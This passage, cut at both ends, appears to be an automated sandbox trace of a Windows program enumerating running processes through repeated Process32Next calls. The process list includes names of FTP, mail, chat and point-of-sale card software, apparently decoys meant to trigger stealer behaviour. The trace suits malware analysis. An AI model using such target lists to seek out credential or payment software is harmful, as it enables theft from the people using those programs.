th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.874] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.875] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.877] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0246.878] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0246.879] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0246.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0246.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0246.886] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0246.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0246.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0246.891] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0246.893] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0246.943] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0246.945] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.946] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0246.948] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0246.949] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0246.950] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0246.952] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0246.953] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0246.955] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0246.956] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0246.958] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0246.959] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0246.960] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0246.962] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0246.963] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0246.964] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0246.966] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0246.967] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0246.968] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0246.970] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0246.971] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0246.973] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0246.974] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0246.975] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0246.977] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0246.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0246.979] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0246.981] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0246.982] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0246.984] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0246.986] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0247.034] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0247.037] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0247.040] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0247.043] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0247.046] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0247.048] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0247.050] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0247.052] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0247.055] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0247.057] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0247.058] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0247.060] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0247.062] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0247.064] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0247.066] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0247.068] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0247.069] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0247.071] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0247.073] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0247.074] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0247.076] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0247.077] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0247.079] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0247.137] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0247.140] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0247.141] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0247.144] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0247.146] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0247.148] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0247.150] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0247.151] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0247.153] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0247.155] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0247.156] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0247.158] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0247.160] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0247.161] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0247.163] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0247.165] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0247.166] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, 